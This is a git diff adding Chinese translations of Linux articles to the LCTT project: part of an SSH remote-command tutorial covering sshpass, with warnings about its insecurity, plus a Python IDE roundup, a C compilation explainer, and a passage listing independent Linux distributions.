./data/image.jpg +128K ./data/file.pdf +20K ./data/text.docx +5.9M ./data/audio.mp3 +6.1M ./data +0 ./.sudo_as_admin_successful +4.0K ./pacman?inline=false +4.0K ./.bash_logout +4.0K ./.wget-hsts +4.0K ./.bash_history +0 ./.cache/motd.legal-displayed +4.0K ./.cache +4.0K ./deb-pacman_1.0-0.deb +4.0K ./.bashrc +6.2M . +``` + +#### 1.6、配置 SSH 密钥认证,避免输入密码 + +如果你经常在远程系统上运行命令,你可能需要配置基于 SSH 密钥的身份验证,以便每次跳过密码输入。更多细节可以在以下链接中找到。 + +> **[Linux 系统下如何配置 SSH 密钥认证][7]** + +配置了基于 SSH 密钥的认证后,我们可以通过 SSH 在远程机器上执行命令,从而不需要输入密码: + +``` +$ ssh sk@192.168.225.22 sudo apt update +``` + +### 2、通过 sshpass 在远程机器上运行命令 + +如果你不想配置基于 SSH 密钥的身份验证,你可以使用 `sshpass` 实用程序。 + +#### 2.1、什么是 sshpass? + +`sshpass` 是为使用键盘交互密码身份验证模式运行 ssh 而设计的,但它以非交互的方式。简单来说,`sshpass` 提供了非交互式的方式来验证 SSH 会话。 + +SSH 使用直接 TTY 访问来确保密码确实是由交互式键盘用户发出的。`sshpass` 在一个专用 tty 中运行 SSH,让它误以为从交互用户那里获得了密码。 + +#### 2.2、在 Linux 中安装 sshpass + +在许多 Linux 发行版的默认仓库中都有 `sshpass` 实用程序。例如,在 Debian、Ubuntu 及其衍生版本中,你可以使用下面的命令来安装 `sshpass`: + +``` +$ sudo apt install sshpass +``` + +#### 2.3、通过 SSH 和 sshpass 在远程机器上执行命令 + +`sshpass` 可以通过参数接受密码,或者通过环境变量读取密码,也可以从文本文件中读取密码。 + +**警告:** 所有这些方法都是 **高度不安全的**。所有系统用户都可以通过 `ps` 命令看到命令中的密码。**不建议**在生产中使用这些方法。最好使用基于密钥的身份验证。 + +让我们看看每种方法的示例。 + +##### 将密码作为参数提供 + +将密码作为参数提供,使用 `-p` 选项,如下所示: + +``` +$ sshpass -p ssh remoteuser@ip-address +``` + +示例输出: + +``` +$ sshpass -p ubuntu ssh ostechnix@192.168.1.30 uname -a +``` + +其中, + +* `-p ubuntu` - 提供远程系统的密码。 +* `ostechnix@192.168.1.30` - 远程系统用户名和地址。 +* `uname -a` - 要在远程计算机上执行的命令。 + +示例输出: + +``` +Linux Ubuntu22CT 5.15.60-1-pve #1 SMP PVE 5.15.60-1 (Mon, 19 Sep 2022 17:53:17 +0200) x86_64 x86_64 x86_64 GNU/Linux +``` + +##### 密码作为环境变量提供 + +在这个方法中,我们声明一个名为 `SSHPASS` 的环境变量,用远程环境的密码作为其值。然后我们使用 `-e` 标志,如下所示: + +``` +$ SSHPASS=ubuntu sshpass -e ssh ostechnix@192.168.1.30 uname -a +``` + +##### 从文本文件中读取密码 + +使用 `echo` 命令在文本文件中追加密码: + +``` +$ echo "ubuntu" > mypassword.txt +``` + +现在,将密码文件传递给带有 `-f` 标志的 `sshpass`,如下所示: + +``` +$ sshpass -f mypassword.txt ssh ostechnix@192.168.1.30 uname -a +``` + +![通过 SSH 和 sshpass 在远程机器上执行命令][8] + +### 总结 + +在本教程中,我们学习了一些通过安全的网络连接在远程计算机上调用命令或程序的方法。在所有的方法中,`sshpass` 方法是最不安全的,建议用户避免在生产系统中使用它。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/execute-commands-on-remote-linux-systems-via-ssh/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/how-to-keep-ownership-and-file-permissions-intact-when-copying-files-or-directories/ +[2]: https://ostechnix.com/find-out-the-linux-distribution-name-version-and-kernel-details/ +[3]: https://ostechnix.com/wp-content/uploads/2019/12/Execute-Commands-On-Remote-Linux-Systems-Via-SSH.gif +[4]: https://ostechnix.com/how-to-change-apache-ftp-and-ssh-default-port-to-a-custom-port-part-3/ +[5]: https://ostechnix.com/wp-content/uploads/2019/12/Run-multiple-commands-on-remote-systems-via-SSH-on-Linux.png +[6]: https://ostechnix.com/wp-content/uploads/2019/12/Run-commands-with-sudo-privileges-on-remote-systems-via-SSH.png +[7]: https://ostechnix.com/configure-ssh-key-based-authentication-linux/ +[8]: https://ostechnix.com/wp-content/uploads/2022/09/Execute-Commands-On-Remote-Machines-Over-SSH-With-sshpass.png diff --git a/published/202211/20221004 5 Best Python IDE-s- and Code Editor-s-.md b/published/202211/20221004 5 Best Python IDE-s- and Code Editor-s-.md new file mode 100644 index 0000000000..edd7c987d6 --- /dev/null +++ b/published/202211/20221004 5 Best Python IDE-s- and Code Editor-s-.md @@ -0,0 +1,247 @@ +[#]: subject: "5 Best Python IDE(s) and Code Editor(s)" +[#]: via: "https://www.debugpoint.com/5-best-python-ide-code-editor/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15288-1.html" + +6 个最好的 Python IDE 和代码编辑器 +====== + +![][0] + +> 我们列出了 2022 年适用于 Linux 和 Windows 的六个最佳 Python 代码编辑器。 + +如今,[Python][1] 无处不在,它可以说是现代版的 C 语言编程语言。从网站、应用程序、数据科学项目、人工智能到物联网设备,你可以发现 Python 无处不在。因此,作为这十年来流行的编程语言,了解 Python 的开发环境是很有必要的,开发人员用它创建应用程序,特别是如果你是刚刚开始学习 Python 编程,更需要了解 Python 开发环境。 + +许多 Python 开发环境都提供了可以满足你需求的功能和工具。其中有些环境对学习 Python 的初学者很有用,而另外一些用户则适用于重型 Python 开发和复杂的设置。在这里,在这篇文章中,我将谈一谈其中最好的几个,这将有助于你根据自己的需要和使用情况选择一个。 + +### 最好的 Python 编码编辑器 + +这个榜单上有以下几个编辑器: + +1. Visual Studio Code +2. Eclipse +3. PyCharm +4. Spyder +5. Sublime Text +6. Thonny + +#### 1、Visual Studio Code + +![Visual Studio Code][46] + +尽管它是微软创造的,但 Visual Studio Code 是最好的代码编辑器之一。不仅是 Python,对于所有流行和趋势的编程语言都是。 + +它具有语法高亮、代码补完、调试、代码片段、内置 Git 等诸如此类的功能。对于新手来说,它有点复杂,但也只需几个小时就能学会。 + +然而,它是用 Electron 框架构建的,可能会感觉稍微慢一些。但在高端的开发硬件下这不是问题。它是一个自由开源的应用程序,适用于 Linux、macOS 和 Windows。 + +以下是适用于 Ubuntu、Fedora 和相关发行版的单个 deb 和 RPM 包: + +> **[下载 VS Code][47]** + +你也可以为 Flatpak 设置你的系统,并从终端运行以下命令,在所有 Linux 发行版上安装它。 + +``` +flatpak install flathub com.visualstudio.code +``` + +#### 2、带有 PyDev 的 Eclipse + +![Eclipse 编辑器][2] + +[Eclipse][3] 是一个由 IBM 开发的自由开源的 IDE。这个完备的 IDE 可用于 Java 和 Android 开发。然而,它也支持许多其他编程语言,包括 Python。你可以将 Eclipse 与流行的 PyDev 插件一起使用,它可以将 Eclipse 转换成一个完整的 Python 开发环境。通过将 PyDev 集成在 Eclipse 中,你可以进行编译、代码分析、实时调试、交互式控制台访问,以及更多的功能。 + +优势: + +* 丰富的功能和完整的 Python 开发 IDE。 + +劣势: + +* 对系统性能有很大影响。 +* 针对高级用户。 + +安装和更多信息: + +* 平台:Linux、Mac 和 Windows +* 类型:集成开发环境 +* 价格:免费 +* 源代码:开源 +* 官方下载链接:[PyDev][4]、[Eclipse][5] +* 官方网站:[Eclipse][6]、[PyDev 插件][7] +* Flatpak:[Eclipse for Java 通过 Flathub 以 Flatpak 的形式提供][8],你可以在 [设置 Flatpak][9] 之后尝试这个版本 + +#### 3、PyCharm 编辑器 + +![PyCharm 编辑器][14] + +由 JetBrains 开发的 [PyCharm][15] 提供了智能代码补完、代码检查、即时错误高亮、快速修复、自动代码重构和丰富的导航功能。 + +PyCharm 开箱即用的大量工具包括:集成的调试器和测试运行器;Python 剖析器;内置终端;与主要版本控制系统和内置数据库工具的集成;借助远程解释器提供的远程开发能力;集成 SSH 终端;以及与 Docker 和 Vagrant 的集成。 + +除了 Python,PyCharm 还为各种 Python 网页开发框架、特定模板语言、JavaScript、CoffeeScript、TypeScript、HTML/CSS、AngularJS、Node.js 等提供了一流的支持。 + +PyCharm 有两个版本的安装程序:专业版和社区版。社区版是自由开源的。专业版不是免费的,因为它带有专业工具和广泛的支持。专业版有一个不到 10 美元的月度订阅版本,供个人使用。 + +然而,如果你是一个初学者,你可以从 PyCharm 免费的社区版开始。 + +它适用于科学和网页 Python 开发。具有 HTML、JS 和 SQL 支持。 + +优势: + +* 为专业人士提供先进的现代编辑功能,有助于快速开发。 + +劣势: + +* 大多数专业工具都在付费版本中提供(个人使用时每月约 8 至 10 美元)。 + +安装和其他信息: + +* 平台:Linux、Mac 和 Windows +* 类型:IDE +* 价格:免费(社区版)和付费(专业版) +* 源代码:开源(社区版) +* [官方下载链接][16] +* Flatpak:你可以在 [为 Flatpak 设置你的 Linux 系统][18] 之后安装 [Flathub 提供的社区版本][17] + +#### 4、Spyder 编辑器 + +![Spyder Editor][23] + +[Spyder][24] 是一个强大的 Python 编辑器,是用 Python 编写的。它是为科学家、工程师和数据科学家所设计的。它将综合开发工具的高级编辑、分析、调试和剖析功能与科学软件包的数据探索、交互式执行、深度检查和漂亮的可视化功能独特地结合起来。 + +优势: + +* 轻量级和免费 + +劣势: + +* 你必须把它作为 Anaconda 软件包的一部分来下载。没有独立的安装程序。 + +安装和其他说明: + +* 平台:Anaconda +* 类型:IDE +* 价格:免费 +* 源代码:开源 +* [官方下载链接][25] +* [官方网站][26] + +#### 5、Sublime Text + +![Sublime Text][27] + +[Sublime Text][28] 是一个支持 Python 编程的复杂的代码编辑器。它是一个跨平台的工具,原生支持许多编程语言。你可以使用插件来扩展其特性和功能。Sublime Text 带有提高生产力的功能,如 “Goto anything”,可以同时对文件的多个部分进行修改。 + +优点: + +* 轻量级、免费、可用于 Windows、Mac 和 Linux。 + +缺点: + +* 它是免费评估的,但你必须购买一个许可证来进行高级使用。(LCTT 译注:但可以一直免费评估,而不限制时间,只是会时不时提醒) + +其他信息和安装: + +* 平台:Windows、Linux、OS X +* 类型:IDE +* 价格:免费,但必须购买许可证才能继续使用 +* 源代码:闭源 +* [官方下载链接][29] +* [官方网站][30] +* Flatpak:Sublime Text 可以通过 [Flathub 以 Flatpak 软件包][31] 获得。设置你的 [Linux 上的 Flatpak][32],然后安装它。 + +#### 6、Thonny Python 编辑器 + +![Thonny 编辑器][37] + +[Thonny][38] 是一个面向初学者的 Python IDE,使用起来很简单。它内置了最新的 Python(截至本文撰写时为 3.7+),所以你不需要在你的操作系统中单独安装 Python。用户界面毫不杂乱,对初学者来说没有任何干扰。Thonny 的其他一些显著特点包括:变量视图、简单调试器、单步调试和语法错误。 + +优点: + +* 轻量级、免费,可用于 Windows、Mac 和 Linux。 +* 非常适合 Python 的绝对初学者(甚至是编码的初学者)。 + +缺点: + +* 由于它是一个初学者的 IDE,所以只有基本的功能。 + +安装和其他信息: + +* 平台:Windows、Linux 和 Mac +* 类型:IDE +* 价格:免费 +* 源代码:开源 +* [官方下载链接][39] +* Flatpak:它通过 [Flathub 以 Flatpak][40] 的形式提供。设置你的 [Linux 系统安装 Flatpak][41],然后去安装它。 + +--- + +有很多 Python 编辑器可用,这些是用于编码的六个最好的 Python 编辑器。你可以尝试其他值得注意的 Python 编辑器:VIM、IDLE(默认 Python 自带)、Cloud 9 和 Emacs。 + +🗨️ 你最喜欢哪个编辑器?请在下面的评论区告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/5-best-python-ide-code-editor/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.python.org/ +[2]: https://www.debugpoint.com/wp-content/uploads/2020/06/Eclipse-Editor.png +[3]: https://www.eclipse.org/ +[4]: https://www.pydev.org/ +[5]: https://www.eclipse.org/ +[6]: https://www.eclipse.org/ +[7]: https://www.pydev.org/ +[8]: https://flathub.org/apps/details/org.eclipse.Java +[9]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[10]: https://flathub.org/apps/details/org.eclipse.Java +[11]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[12]: https://flathub.org/apps/details/org.eclipse.Java +[13]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[14]: https://www.debugpoint.com/wp-content/uploads/2020/06/PyCharm-Editor.png +[15]: https://www.jetbrains.com/pycharm/ +[16]: https://www.jetbrains.com/pycharm/download/ +[17]: https://flathub.org/apps/details/com.jetbrains.PyCharm-Community +[18]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[19]: https://flathub.org/apps/details/com.jetbrains.PyCharm-Community +[20]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[21]: https://flathub.org/apps/details/com.jetbrains.PyCharm-Community +[22]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[23]: https://www.debugpoint.com/wp-content/uploads/2020/06/Spyder-Editor.png +[24]: https://www.spyder-ide.org/ +[25]: https://www.anaconda.com/download/ +[26]: https://www.spyder-ide.org/ +[27]: https://www.debugpoint.com/wp-content/uploads/2020/06/Sublime-Text-Editor.png +[28]: https://www.sublimetext.com/ +[29]: https://www.sublimetext.com/3 +[30]: https://www.sublimetext.com/ +[31]: https://flathub.org/apps/details/com.sublimetext.three +[32]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[33]: https://flathub.org/apps/details/com.sublimetext.three +[34]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[35]: https://flathub.org/apps/details/com.sublimetext.three +[36]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[37]: https://www.debugpoint.com/wp-content/uploads/2020/06/Thonny-Editor.png +[38]: https://thonny.org/ +[39]: https://thonny.org/ +[40]: https://flathub.org/apps/details/org.thonny.Thonny +[41]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[42]: https://flathub.org/apps/details/org.thonny.Thonny +[43]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[44]: https://flathub.org/apps/details/org.thonny.Thonny +[45]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[46]: https://www.debugpoint.com/wp-content/uploads/2022/10/Visual-Studio-Code.jpg +[47]: https://code.visualstudio.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/25/114333wj3t354qjhrggrvw.jpg \ No newline at end of file diff --git a/published/202211/20221013 What you need to know about compiling code.md b/published/202211/20221013 What you need to know about compiling code.md new file mode 100644 index 0000000000..88ca0a42d1 --- /dev/null +++ b/published/202211/20221013 What you need to know about compiling code.md @@ -0,0 +1,103 @@ +[#]: subject: "What you need to know about compiling code" +[#]: via: "https://opensource.com/article/22/10/compiling-code" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15213-1.html" + +关于编译代码你应该知道的 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/04/054126nec50keexencosc4.jpg) + +> 用这个方便的捕鼠器比喻来理解编译代码。 + +源代码必须要经过编译才能够运行程序,而对于开源软件,每个人都可以获取源代码。无论你是自己编写了代码,想要编译和运行它,还是下载了某人的项目来尝试它,了解如何通过 [编译器][2] 处理源代码,以及编译器如何处理这些代码,这都很有用。 + +### 创建一个更好的捕鼠器 + +一般情况我们不会将一个捕鼠器比作电脑,但不管你信不信,它确实与你正在使用的设备(手机或电脑)的 CPU 有一些相似之处。经典的捕鼠器(我说的不是 🐈)有两种状态:打开或者释放。你可以认为 *打开* 是将捕鼠器设置好准备捕获老鼠,以及 *释放* 是捕鼠器被老鼠触发。某种意义上来说,捕鼠器就像是一台有鼠标的电脑。你可以想象一下这个代码,用一种虚构的语言来描述这个过程: + +``` +if mousetrap == 0 then + There's a mouse! +else + There's no mouse yet. +end +``` + +换句话说,你可以基于捕鼠器的状态发现是否有老鼠(数据)。当然,捕鼠器不是万无一失的,有可能有一只老鼠在捕鼠器旁边,由于老鼠还没有触发捕鼠器,所以它的状态还是 *打开* 的。因此该程序可以进行改进,这都是非常典型的。 + +### 开关 + +总的来说,捕鼠器就是一个开关。你会在家里使用开关打开灯。可以从开关中获得许多信息。比如,人们会从你家灯的状态了解到你是否在家。 + +你可以根据邻居家灯的状态来改变行为。如果邻居家所有的灯都熄灭了,那么请关掉你大声的音乐,因为人们可能已经上床睡觉了。 + +CPU 也使用这样的逻辑,只不过乘以几个数量级,缩小到了微观级别。当 CPU 在特定寄存器上接收到电信号时,可以触发其他一些寄存器,然后触发另一个,以此类推。如果这些寄存器有特定的意义,那么就可以通信。也许激活同一主板上某处的芯片,或者使 LED 亮起,或者改变屏幕上的像素颜色。 + +种瓜得瓜,种豆得豆。如果你真的想在多个位置而不是仅限于一处发现老鼠,但是你只有一个捕鼠器,那你应该开发一个应用才行。使用网络摄像头和一些基本的图像识别软件,你可以建立空厨房的模型,然后扫描变化。当老鼠进入厨房,在原先没有老鼠的图像上会有像素的变化。记录下这些数据,如果有无人机可以追踪老鼠并捕获会更好,这样就可以将老鼠赶出厨房了。这时,你通过打开和关闭信号的魔法,创造了一个更好的捕鼠器。 + +### 编译器 + +代码编译器将人们可阅读的代码转换成 CPU 可以理解的机器语言。这是非常复杂的过程,因为 CPU 非常复杂(甚至比捕鼠器更加复杂),同时因为该过程比严格“需要”的更加灵活。并不是所有的编译器都很灵活。有一些编译器只有一个目标,它们只会处理特定格式的代码文件,处理过程也因此而简单明了。 + +幸运的是,现代的通用编译器并不简单。它们允许你编写不同语言的代码,也允许你用不同的方式链接库文件,并且可以生成运行在不同架构上的文件。[GNU 编译器集合][4](GCC)的 `gcc` 编译器 `--help` 会输出超过 50 行的选项,LLVM 的 `clang` 编译器的 `--help` 输出超过 1000 行。GCC 指导手册的字数超过 10 万。 + +当你在编译代码时会有很多选项。 + +当然,大多数人并不需要知道所有的选项。我从未读过 GCC 的手册页,因为它们是针对 Objective-C、Fortran 以及我从未听说过的芯片架构的。不过我重视它将代码编译为不同的架构 —— 64 位或者 32 位 —— 的能力,以及在其他行业已经落后的计算机上运行开源软件的能力。 + +### 编译生命周期 + +同样重要的是,理解编译代码的不同阶段。这是一个简单的 C 语言程序的生命周期: + +1. 带有宏定义的 C 源代码 `.c` 文件,用 `cpp` 预处理为 `.i` 文件。 +2. 扩展了宏定义的 C 源代码 `.i` 文件,会被 `gcc` 转译成 `.s` 文件。 +3. 以汇编语言写的文本文件 `.s` 文件被汇编为目标 `.o` 文件。 +4. 带有 CPU 指令的二进制目标代码,以及其他目标文件和库 `*.o` 文件,以内存区域无关的偏移量,使用 `ld` 链接以生成可执行文件。 +5. 最终的二进制文件要么包含所有需要的目标,要么设置以动态链接库 `*.so` 文件加载。 + +你可以试试这个简单示例(可能需要对库路径做一些调整): + +``` +$ cat << EOF >> hello.c + #include + int main(void) + { printf("hello world\n"); + return 0; } + EOF +$ cpp hello.c > hello.i +$ gcc -S hello.i +$ as -o hello.o hello.s +$ ld -static -o hello \ + -L/usr/lib64/gcc/x86_64-slackware-linux/5.5.0/ \ + /usr/lib64/crt1.o /usr/lib64/crti.o hello.o \ + /usr/lib64/crtn.o --start-group -lc -lgcc \ + -lgcc_eh --end-group +$ ./hello +hello world +``` + +### 可获得的知识 + +计算机已经变得非常强大,并且用户友好。请不要走向这两种可能的极端中的任何一种:计算机不像捕鼠器和电灯开关那么简单,但它们也不是无法理解的。你可以了解编译代码、如何链接以及针对不同架构进行编译。一旦你知道了,你就可以更好地调试代码。你可以理解你下载的代码,甚至可以修复其中的一两个错误。同时从理论上来讲,你可以建造一个更好的捕鼠器,或者用捕鼠器造一个 CPU。由你决定。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/compiling-code + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[2]: https://opensource.com/article/19/5/primer-assemblers-compilers-interpreters +[3]: https://opensource.com/article/22/9/python-interpreters-2022 +[4]: https://opensource.com/article/22/5/gnu-c-compiler diff --git a/published/202211/20221014 13 Independent Linux Distros That are Built From Scratch.md b/published/202211/20221014 13 Independent Linux Distros That are Built From Scratch.md new file mode 100644 index 0000000000..37eee8a1c9 --- /dev/null +++ b/published/202211/20221014 13 Independent Linux Distros That are Built From Scratch.md @@ -0,0 +1,312 @@ +[#]: subject: "13 Independent Linux Distros That are Built From Scratch" +[#]: via: "https://itsfoss.com/independent-linux-distros/" +[#]: author: "sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "MuggleWei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15251-1.html" + +13 个从头开始构建的独立 Linux 发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/14/095522os6236zrzcgs79e9.jpg) + +时至今日,世界上已经有成百上千种不同的 Linux 发行版。 + +它们中的大多数都可以被划归为三个大类 : Debian、Red Hat(Fedora)以及 Arch Linux。 + +使用基于 Debian/Ubuntu、Red Hat/SUSE 或者 Arch 的 Linux 发行版自然有它们的优势。它们很受大众欢迎,因此它们的包管理器能够提供大量的软件包。 + +然而,有一些用户更倾向于使用从头开始构建、独立于 DEB/RPM 这类包管理系统之外的发行版。 + +在这篇文章当中,我们将列出一些优秀的独立 Linux 发行版。 + +> **注意 :** 显然,下面的列表显然不会包括一些广受欢迎,通常作为创建新发行版的基础的发行版,如 Debian、Ubuntu 和 Fedora 等。此外,列表顺序不分先后,没有特定的排名。 + +### 1、NixOS + +![Image Credits: Distrowatch][1] + +NixOS 最初发布于 2003 年,NixOS 建立在 Nix 包管理器之上。它每年发布两个版本,通常是在 5 月和 11 月。 + +NixOS 可能不是一个直接面向新用户或普通用户的发行版。然而,其独特的 [包管理][2] 方法吸引了各种用户。 + +此外,它仍然支持 32 位系统。 + +其他特性: + +* 构建隔离的包 +* 可靠的升级,并且具有回滚功能 +* 可重现的系统配置 + +> **[NixOS][3]** + +### 2、Gentoo Linux + +![Image Credits: Distrowatch][5] + +Geetoo Linux 是一个主要针对操作系统专家的独立 Linux 发行版。它是为那些希望自由定制、微调和优化操作系统以满足其要求的用户而构建。 + +Gentoo 使用 [Portage 包管理器][6] 来创建和安装软件包,通常还允许你针对你的硬件来优化它们。Chrome 的开源版本 **Chromium OS** 便是使用 Gentoo 作为其核心的。 + +不要忘记,Gentoo 是 [仍然支持 32 位架构的发行版][7] 之一。 + +其他特性: + +* 增量更新 +* 基于源码的软件管理方法 +* 支持 GURU(Gentoo 用户仓库)的层叠 Overlay 仓库的概念,允许用户添加 Gentoo 尚未提供的软件包 + +> **[Gentoo Linux][8]** + +### 3、Void Linux + +![Image Credits: Distrowatch][9] + +Void Linux 是一个 [滚动发布的发行版][10],使用 X 二进制软件包系统(XBPS)来安装和删除软件。它由前 NetBSD 开发者 Juan Romero Pardines 创建。 + +它使用 runit 而不是 systemd 作为其初始化系统。此外,它还让你可以选择使用多个 [桌面环境][11]。 + +其他特性: + +* 最小化的系统要求 +* 官方库也提供非自由软件包 +* 支持树莓派 +* 集成 OpenBSD 的 LibreSSL +* 支持 musl C 库 +* 支持 32 位系统 + +> **[Void Linux][12]** + +### 4、Solus Linux + +![solus budgie 2022][14] + +Solus 的前身是 EvolveOS,它从头开始构建并提供了一些令人兴奋的特性。Solus 的旗舰版本使用自己打造的 Budgie 作为桌面环境。 + +与本篇文章介绍的其他系统相比,Solus 对于新手较为友好。它设法成为 [最好的 Linux 发行版][15] 之一。 + +它使用 eopkg 作为其包管理系统,支持版滚动发布模型。按照开发人员的说法,开发 Solus 的目标是用于个人电脑。 + +其他特性: + +* 支持 Budgie、Gnome、MATE 和 KDE Plasma +* 各种开箱即用的软件,从而减少设置工作 + +> **[Solus Linux][16]** + +### 5、Mageia + +![Image Credits: Distrowatch][17] + +Mageia 始于 2010 年,它是 Mandriva Linux 的一个分支。它的目标是成为稳定且安全的桌面和服务器操作系统。 + +Mageia 是一个社区驱动的项目,由非营利组织和贡献者支持。每年会发布一个大版本。 + +其他特性: + +* 支持 32 位系统 +* 支持 KDE Plasma、Gnome 和 XFCE +* 最低的系统要求 + +> **[Mageia][18]** + +### 6、Clear Linux + +![Image Credits: Distrowatch][20] + +Clear Linux 是一个由英特尔发布的发行版,主要设计考虑是性能和云服务的使用。 + +有趣的是,Clear Linux 升级时是作为一个整体而非去升级单个的软件包。所以,即使你不小心弄乱了系统设置,它也可以正确的启动,执行恢复出厂设置,并让用户重新设置。 + +它不太适合个人用户使用。但可以作为一个独特的选择而尝试一下。 + +其他特性: + +* 针对英特尔平台的高度调优 +* 用户和系统文件之间严格分离 +* 持续的漏洞扫描 + +> **[Clear Linux OS][21]** + +### 7、PCLinuxOS + +![Image Credits: Distrowatch][22] + +PCLinuxOS 是一个 x86_64 的 Linux 发行版,使用 APT/RPM 包管理。你可以使用 KDE Plasma、Mate 以及 XFCE 桌面,它同时还提供了更多特性的社区版本的桌面。 + +得益于 [Synaptic 包管理器][23],本地安装的 PCLinuxOS 采用了 APT 包管理系统。但你也可以从它的仓库中找到 RPM 包。 + +其他特性: + +* mylivecd 脚本允许用户去生成一个当前已安装的硬件驱动的“快照”(所有的配置、应用、文档等)并且将它压缩为 ISO CD/DVD/USB 镜像 +* 额外支持超过 85 种语言 + +> **[PCLinuxOS][24]** + +### 8、4MLinux + +![4m linux 2022][25] + +[4MLinux][26] 是一个通用的 Linux 发行版,重点聚焦于下面四个 **“M”** + +* 维护Maintenance(系统救援 Live CD) +* 多媒体Multimedia(支持大量的图形、音频和视频格式) +* 微服务器Miniserver(支持 DNS、FTP、HTTP、MySQL、NFS、Proxy、SMTP、SSH 和 Telnet) +* 神秘Mystery(包含了经典 Linux 游戏的集合) + +它具有最低的系统要求,可作为桌面和服务器版本使用. + +其他特性: + +* 支持大量的图形、音频和视频格式 +* 是小型并且通用的 Linux 发行版 + +> **[4MLinux][27]** + +### 9、Tiny Core Linux + +![Image Credits: Distrowatch][28] + +Tiny Core Linux 专注于使用 BusyBox 和 FLTK 提供一个基础的系统。它不是一个完备的桌面,所以,并不能保证它可以运行于任何系统。 + +它只是一个启动到非常精简的 X 桌面所需的核心,通常带有有线互联网访问权限。 + +用户可以很好的控制一切,但对于新 Linux 用户来说,它并不是一个轻松的开箱即用的系统。 + +其他特性: + +* 旨在从启动时创建的内存副本中运行 +* 默认情况下,其操作就像像云端 / 互联网客户端一样 +* 用户可以使用 appbrowser 来游览库以及下载应用 + +> **[Tiny Core Linux][29]** + +### 10、Linux From Scratch(LFS) + +![Image Credit: Reddit][30] + +[Reddit][31] + +Linux From Scratch(LFS)并不是一个系统,而是通过手动构建所有组件来安装 Linux 的一种方法。一旦完成,它提供了一个紧凑、灵活和安全的系统,并且可以很好的理解一个基于 Linux 的操作系统内部是如何工作的。 + +如果你希望去深入理解 Linux 是如何工作的并且探寻其具体细节,那么 Linux From Scratch(LFS) 是你一定要去尝试,不能错过的一个项目。 + +其他特性 + +* 完全从头开始,定制化的构建 Linux 系统 +* 极度的灵活性 +* 由于从源码开始编译,提供了额外的安全性 + +> **[Linux From Scratch][32]** + +### 11、Slackware + +![Image Credits: Distrowatch][33] + +Slackware 是现今还在维护的最古老的发行版。最初创建于 1993 年,以 Softlanding Linux 系统为基础,随后,许多的 Linux 发行版都是基于 Slackware。 + +Slackware 目标是称为最类似于 UNIX 的 Linux 发行版,同时保持简单和稳定。 + +其他特性: + +* 支持 32 位和 64 位系统 +* 大量的在线文档 +* 从奔腾处理器到最新的机器,它都可以运行 + +> **[Slackware][34]** + +### 12、Alpine Linux + +![alpine linux xfce 2022][35] + +Alpine Linux 是一个社区开发的操作系统,专为路由器、防火墙、VPN、VoIP 盒子和服务器而设计。它是 LEAF 项目的一个分支。 + +Alpine Linux 使用 apk-tools 包管理器,最初由 shell 脚本编写,而后使用 c 语言重构。它是最小的 Linux 发行版之一,仍然支持 32 位系统,并且是一个可以完全从电脑内存运行的操作系统。 + +其他特性: + +* 提供大小仅为 5MB 的最小容器镜像 +* 对于主库,提供 2 年的支持;对于社区库,在下一个稳定版本发布前提供支持 +* 使用 musl libc 制作,Busybox 使用资源效率高的容器 + +> **[Alpine Linux][36]** + +### 13、KaOS + +![Image Credits: Distrowatch][37] + +KaOS 是一个受到 Arch 启发,从头开始构建的 Linux 发行版。它使用 [pacman 包管理器][38]。它是按照"*一个桌面环境(KDE Plasma),一个工具包(Qt),一个架构(X86_64)*"的理念构建的。 + +它的软件库比较有限,但依然为普通用户提供了许多工具。 + +其他特性: + +* 最新的 Plasma 桌面 +* 紧密集成的滚动和透明的现代桌面发行版 + +> **[KaOS][39]** + +#### 总结 + +如果你需要一些独特的体验,那么这些独立 Linux 发行版应该能很好的满足你。 + +然而,如果你想要用其来替换如 